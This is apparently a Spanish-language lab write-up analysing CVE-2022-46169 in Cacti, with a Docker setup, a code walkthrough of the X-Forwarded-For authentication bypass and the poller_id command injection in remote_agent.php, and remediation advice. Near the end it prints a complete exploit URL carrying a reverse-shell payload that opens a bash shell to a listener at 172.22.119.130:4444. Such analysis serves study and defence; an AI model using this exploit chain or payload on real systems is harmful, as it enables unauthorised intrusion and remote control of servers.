
Análisis paso a paso de CVE-2022-46169: ejecución remota de código no autenticada en Cacti mediante omisión de autenticación e inyección de comandos, con configuración de laboratorio Docker y guía de explotación.
Cacti es una herramienta de monitoreo operativo de código abierto escrita en PHP, MySQL/MariaDB, que proporciona una interfaz amigable.
La vulnerabilidad fue encontrada en 2022 y afectó a todas las versiones anteriores a la 1.2.23. Este error requiere una cadena de omisión de autenticación e inyección de comandos para lograr RCE (Ejecución Remota de Código).
En este análisis de CVE, ejecutaré Cacti en Docker y usaré VSCode para el análisis de código. La configuración será bastante simple, primero necesitamos un archivo docker-compose.yaml para crear un nuevo entorno. A continuación se muestra el archivo docker-compose.yaml:
version: '2'
services:
cacti:
image: "smcline06/cacti"
container_name: cacti
domainname: example.com
hostname: localhost
ports:
- "8088:80"
environment:
- DB_NAME=cacti_master
- DB_USER=cactiuser
- DB_PASS=cactipassword
- DB_HOST=db
- DB_PORT=3306
- DB_ROOT_PASS=rootpassword
- INITIALIZE_DB=1
- TZ=America/Los_Angeles
volumes:
- cacti-data:/cacti
- cacti-spine:/spine
- cacti-backups:/backups
links:
- db
db:
image: "mariadb:10.3"
container_name: cacti_db
domainname: example.com
hostname: db
ports:
- "3307:3306" # Change host port to 3307
command:
- mysqld
- --character-set-server=utf8mb4
- --collation-server=utf8mb4_unicode_ci
- --max_connections=200
- --max_heap_table_size=128M
- --max_allowed_packet=32M
- --tmp_table_size=128M
- --join_buffer_size=128M
- --innodb_buffer_pool_size=1G
- --innodb_doublewrite=ON
- --innodb_flush_log_at_timeout=3
- --innodb_read_io_threads=32
- --innodb_write_io_threads=16
- --innodb_buffer_pool_instances=9
- --innodb_file_format=Barracuda
- --innodb_large_prefix=1
- --innodb_io_capacity=5000
- --innodb_io_capacity_max=10000
environment:
- MYSQL_ROOT_PASSWORD=User@123
- TZ=America/Los_Angeles
volumes:
- cacti-db:/var/lib/mysql
volumes:
cacti-db:
cacti-data:
cacti-spine:
cacti-backups:
Después de crear el archivo, abre la línea de comandos y navega hasta el directorio del archivo, ejecuta el comando docker-compose up -d, abre el navegador y accede a localhost:8088. Primero verás una página de inicio de sesión:

La credencial predeterminada es admin/admin. El proceso de configuración se presentará en las siguientes imágenes:

Crear nueva contraseña

Después de finalizar la instalación, tendremos una pantalla de consola como esta:

Ahora comencemos a analizar la vulnerabilidad. Como sabemos, el archivo vulnerable es remote_agent.php, así que intentaremos acceder al archivo en el navegador:

Dice que no estamos autorizados para acceder al archivo. Es hora de ver el código fuente del archivo:

Verifica llamando a la función remote_client_authorized(). Profundicemos en esa función.

Primero, el servidor obtiene nuestra dirección IP a través de la función get_client_addr() y luego usa la función gethostbyaddr() para traducir nuestra IP a un nombre de host. Luego, el servidor obtiene todos los pollers disponibles en la tabla poller y compara el hostname de cada poller con tu hostname traducido desde la dirección IP. Hay una omisión aquí, dentro de get_client_addr():

Podemos ver que el servidor recuperará la dirección IP a través de uno de los siguientes encabezados:
- X-Forwarded-For
- X-Client-IP
- X-Real-IP
- X-ProxyUser-Ip
- CF-Connecting-IP
- True-Client-IP
- HTTP_X_FORWARDED
- HTTP_X_FORWARDED_FOR
- HTTP_X_CLUSTER_CLIENT_IP
- HTTP_FORWARDED_FOR
- HTTP_FORWARDED
- HTTP_CLIENT_IP
- REMOTE_ADDR
Esto nos permite controlar completamente el valor de nuestra dirección IP. En este caso, podemos usar el encabezado X-Forwarded-For para falsificar nuestra IP a una IP válida, lo que nos permite omitir la autorización. El encabezado X-Forwarded-For se usa a menudo para identificar la dirección IP original si hay un proxy o balanceador de carga entre el cliente y el servidor. Sin embargo, esto será una superficie de ataque para que los atacantes exploten. Debido a que ejecutamos cacti localmente, necesitamos especificar una dirección IP que se traduzca a localhost, que es 127.0.0.1.

Se ve bien ahora, ¿verdad? Sin embargo, ¡es solo el comienzo, colegas! Necesitamos más análisis de código para poder inyectar comandos y obtener ejecución remota de código. Después de completar la autenticación, el programa ejecutará este código:

El servidor obtendrá el parámetro action y entrará en un Switch/Case. Si el valor de action es pollerdata, el programa llamará a poll_for_data(). Esta función es vulnerable a la inyección de comandos, por lo que la analizaremos cuidadosamente.

La función tomará 3 parámetros $local_data_ids, $host_id, $poller_id recibidos de los parámetros de solicitud del usuario local_data_ids, host_id, poller_id. Observa la diferencia en la función para recuperar los parámetros: uno es get_filter_request_var y el otro es get_nfilter_request_var, hay una n adicional en la última función, hablaremos más sobre esto. Después de eso, el programa verificará si proporcionamos el parámetro local_data_ids y recorrerá cada uno para recuperar datos de la tabla poller_item basándose en local_data_ids y host_id. La consulta se guardará en $items.

Si la consulta devuelve resultados, el programa recorrerá cada $item en $items y entrará en una declaración Switch/Case que toma $item['action'] como valor de Switch. Hay muchos casos, pero el caso que debemos investigar es POLLER_ACTION_SCRIPT_PHP, que significa que action es igual a 2.

Una vez que action es 2, el programa ejecutará el comando proc_open(), que es bastante similar a exec(), y tomará $poller_id como una de las variables, que está completamente controlada por nosotros. Para una mejor visualización, deberíamos acceder a la base de datos para recuperar el contenido de la tabla poller_item y ver cómo se ve.

De la tabla, vemos que debemos hacer un ataque de fuerza bruta en local_data_id para obtener el poller que tiene action = 2, esto se aplicará en la explotación del mundo real. Por defecto, cacti no tiene ningún poller con action = 2, sin embargo, esto se puede hacer agregando nuevas plantillas como device:



Después de crear el nuevo device, accedemos nuevamente a la tabla poller_item y vemos que hay un nuevo poller con action = 2:

Ahora revisemos todo el proceso nuevamente. Para explotar con éxito el error, primero debemos omitir la autenticación agregando el encabezado X-Forwarded-For. El siguiente paso es proporcionar el parámetro action a polldata, host_id =1, local_data_ids igual al poller correspondiente que tenga action =2, en este caso local_data_ids = 6, y lo más importante, el parámetro poller_id es donde inyectaremos el comando para obtener ejecución remota de código. El uso de get_nfilter_request_var() hace que este parámetro sea vulnerable. Mientras que get_filter_request_var solo acepta enteros, get_nfilter_request_var nos permite ingresar cadenas. Además, no hay validación de entrada para este parámetro, lo que lleva a una inyección completa de comandos.
Ejecutemos un servidor Kali Linux escuchando solicitudes.

Necesitamos la dirección IP y el puerto de kali donde se ejecuta el servidor para construir el payload, en este caso son 172.22.119.130 y netcat se ejecuta en el puerto 4444.
Ahora abramos Burpsuite y comencemos a explotar, el payload utilizado aquí es ;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261. El payload usa un ; para finalizar el comando anterior y ejecutar un nuevo comando. El resto es un comando simple para obtener una shell inversa. Combinando todo, tenemos la URL completa: localhost:8088/cacti/remote_agent.php?action=polldata&local_data_ids[]=6&host_id=1&poller_id=;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261


¡Bum! Hemos explotado con éxito el error. El proceso y la explicación son bastante largos, pero en general, esta no es una vulnerabilidad muy complicada.
La causa raíz de esta vulnerabilidad es el uso de la función get_nfilter_request_var() para el parámetro poller_id. Podemos cambiarla por get_filter_request_var() para que solo acepte enteros:

Podemos agregar otra capa de seguridad sanitizando el valor de poller_id usando la función cacti_escapeshellarg(). Estas prácticas asegurarán que solo se pase una entrada válida a poller_id antes de usarlo en pasos posteriores.

Este es el final del análisis. Espero que aprendas algo significativo. Como podemos ver, la vulnerabilidad a menudo ocurre en la entrada del usuario. Por lo tanto, es muy importante que apliquemos una validación de entrada adecuada para asegurar nuestro servidor. La ejecución remota de código es tremenda, pero aún hay una manera de prevenirla. ¡Feliz hacking!